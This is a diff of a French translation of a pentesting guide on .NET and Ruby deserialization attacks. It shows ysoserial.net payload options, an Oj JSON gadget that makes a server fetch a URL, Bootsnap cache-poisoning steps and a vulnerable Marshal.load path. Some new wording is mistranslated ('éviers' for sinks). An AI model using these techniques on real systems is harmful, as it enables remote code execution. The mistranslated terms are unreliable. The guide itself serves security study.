Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux trouvés dans Java, où des gadgets sont exploités pour exécuter un code spécifique lors de la désérialisation d'un objet.
|
||||
|
||||
### Empreinte
|
||||
|
||||
@ -694,7 +694,7 @@ L'accent doit être mis sur les sérialiseurs qui permettent de déterminer le t
|
||||
|
||||
#### BlackBox
|
||||
|
||||
La recherche doit cibler la chaîne encodée en Base64 **AAEAAAD/////** ou tout motif similaire qui pourrait subir une désérialisation côté serveur, accordant le contrôle sur le type à désérialiser. Cela pourrait inclure, mais sans s'y limiter, des structures **JSON** ou **XML** comportant `TypeObject` ou `$type`.
|
||||
La recherche doit cibler la chaîne encodée en Base64 **AAEAAAD/////** ou tout motif similaire qui pourrait subir une désérialisation côté serveur, accordant le contrôle sur le type à désérialiser. Cela pourrait inclure, mais ne se limite pas à, des structures **JSON** ou **XML** comportant `TypeObject` ou `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
@ -706,7 +706,7 @@ Les principales options de **ysoserial.net** sont : **`--gadget`**, **`--formatt
|
||||
|
||||
- **`--gadget`** utilisé pour indiquer le gadget à abuser (indique la classe/fonction qui sera abusée lors de la désérialisation pour exécuter des commandes).
|
||||
- **`--formatter`**, utilisé pour indiquer la méthode pour sérialiser l'exploit (vous devez savoir quelle bibliothèque utilise le back-end pour désérialiser la charge utile et utiliser la même pour la sérialiser)
|
||||
- **`--output`** utilisé pour indiquer si vous voulez l'exploit en **brut** ou **encodé en base64**. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII, mais cela ne signifie pas que cela fonctionnera toujours)._
|
||||
- **`--output`** utilisé pour indiquer si vous souhaitez l'exploit en **brut** ou **encodé en base64**. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours)._
|
||||
- **`--plugin`** ysoserial.net prend en charge les plugins pour créer des **exploits pour des frameworks spécifiques** comme ViewState
|
||||
|
||||
#### Plus de paramètres ysoserial.net
|
||||
@ -919,7 +919,7 @@ Cette technique a été prise[ **de cet article de blog**](https://github.blog/s
|
||||
|
||||
Il existe d'autres bibliothèques Ruby qui peuvent être utilisées pour sérialiser des objets et qui pourraient donc être abusées pour obtenir un RCE lors d'une désérialisation non sécurisée. Le tableau suivant montre certaines de ces bibliothèques et la méthode qu'elles appellent de la bibliothèque chargée chaque fois qu'elle est désérialisée (fonction à abuser pour obtenir un RCE essentiellement) :
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Bibliothèque</strong></td><td><strong>Données d'entrée</strong></td><td><strong>Méthode de lancement à l'intérieur de la classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binaire</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe doit être mise dans un hash(mappage) comme clé)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe doit être mise dans un hash(mappage) comme clé)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe doit être mise dans un hash(mappage) comme clé)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([voir les notes concernant json_create à la fin](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Bibliothèque</strong></td><td><strong>Données d'entrée</strong></td><td><strong>Méthode de lancement à l'intérieur de la classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binaire</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe doit être mise dans un hash(map) comme clé)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe doit être mise dans un hash(map) comme clé)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe doit être mise dans un hash(map) comme clé)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([voir les notes concernant json_create à la fin](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Exemple de base :
|
||||
```ruby
|
||||
@ -943,7 +943,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Dans le cas de la tentative d'abuser d'Oj, il a été possible de trouver une classe gadget qui, à l'intérieur de sa fonction `hash`, appellera `to_s`, qui appellera spec, qui appellera fetch_path, ce qui a permis de le faire récupérer une URL aléatoire, offrant un excellent détecteur de ce type de vulnérabilités de désérialisation non assainies.
|
||||
Dans le cas d'une tentative d'abus d'Oj, il a été possible de trouver une classe gadget qui, à l'intérieur de sa fonction `hash`, appellera `to_s`, qui appellera spec, qui appellera fetch_path, ce qui a permis de le faire récupérer une URL aléatoire, offrant un excellent détecteur de ce type de vulnérabilités de désérialisation non assainies.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -999,7 +999,7 @@ L'attaquant sélectionne d'abord un fichier cible qui est probablement chargé l
|
||||
|
||||
- Calculer le chemin du fichier de cache
|
||||
|
||||
En répliquant le mécanisme de hachage FNV-1a 64 bits de Bootsnap, le chemin correct du fichier de cache est déterminé. Cette étape garantit que le fichier de cache malveillant est placé exactement là où Bootsnap s'y attend (par exemple, sous tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
En répliquant le mécanisme de hachage FNV-1a 64 bits de Bootsnap, le bon chemin du fichier de cache est déterminé. Cette étape garantit que le fichier de cache malveillant est placé exactement là où Bootsnap s'y attend (par exemple, sous tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Créer le fichier de cache malveillant
|
||||
|
||||
@ -1016,7 +1016,7 @@ En utilisant la vulnérabilité d'écriture de fichier arbitraire, l'attaquant
|
||||
|
||||
### Exploitation de Ruby Marshal en pratique (mis à jour)
|
||||
|
||||
Traitez tout chemin où des octets non fiables atteignent `Marshal.load`/`marshal_load` comme un point d'échec RCE. Marshal reconstruit des graphes d'objets arbitraires et déclenche des rappels de bibliothèque/gem lors de la matérialisation.
|
||||
Traitez tout chemin où des octets non fiables atteignent `Marshal.load`/`marshal_load` comme un point d'évacuation RCE. Marshal reconstruit des graphes d'objets arbitraires et déclenche des rappels de bibliothèque/gem lors de la matérialisation.
|
||||
|
||||
- Chemin de code Rails vulnérable minimal :
|
||||
```ruby
|
||||
@ -1044,7 +1044,7 @@ Où cela apparaît dans les applications réelles :
|
||||
|
||||
Découverte industrialisée de gadgets :
|
||||
- Grep pour les constructeurs, `hash`, `_load`, `init_with`, ou les méthodes ayant des effets secondaires invoquées lors de l'unmarshal
|
||||
- Utilisez les requêtes de désérialisation non sécurisée de CodeQL pour Ruby afin de tracer les sources → puits et faire remonter les gadgets
|
||||
- Utilisez les requêtes de désérialisation non sécurisée de CodeQL pour Ruby afin de tracer les sources → les éviers et faire remonter les gadgets
|
||||
- Validez avec des PoCs publics multi-formats (JSON/XML/YAML/Marshal)
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user